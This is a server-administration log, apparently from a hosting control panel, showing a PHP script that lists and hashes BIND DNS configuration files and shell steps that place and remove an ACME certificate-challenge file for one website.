MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 10:07:44: Establishing a connection
2026-05-15 10:08:03: Establishing a connection
2026-05-15 10:08:03: 

PUT: /tmp/pkp579903

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 10:08:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp579903; rm /tmp/pkp579903'

2026-05-15 10:08:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 10:08:14: Establishing a connection
2026-05-15 10:08:15: Establishing a connection
2026-05-15 10:08:16: 

PUT: /tmp/pkp769000

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-15 10:08:17: 

chmod 755 /tmp/pkp769000; /tmp/pkp769000; rm /tmp/pkp769000

2026-05-15 10:08:17: 


1


2026-05-15 10:08:18: Establishing a connection
2026-05-15 10:08:19: 

PUT: /tmp/pkp647381

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > gOw8LCsQeQB8dJ0I_dBYsUze7ZJ5tdIjERdPBriEiBk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gOw8LCsQeQB8dJ0I_dBYsUze7ZJ5tdIjERdPBriEiBk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gOw8LCsQeQB8dJ0I_dBYsUze7ZJ5tdIjERdPBriEiBk


2026-05-15 10:08:20: 

chmod 755 /tmp/pkp647381; /tmp/pkp647381; rm /tmp/pkp647381

2026-05-15 10:08:20: 




2026-05-15 10:08:24: Establishing a connection
2026-05-15 10:08:25: 

PUT: /tmp/pkp500316

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm gOw8LCsQeQB8dJ0I_dBYsUze7ZJ5tdIjERdPBriEiBk


2026-05-15 10:08:26: 

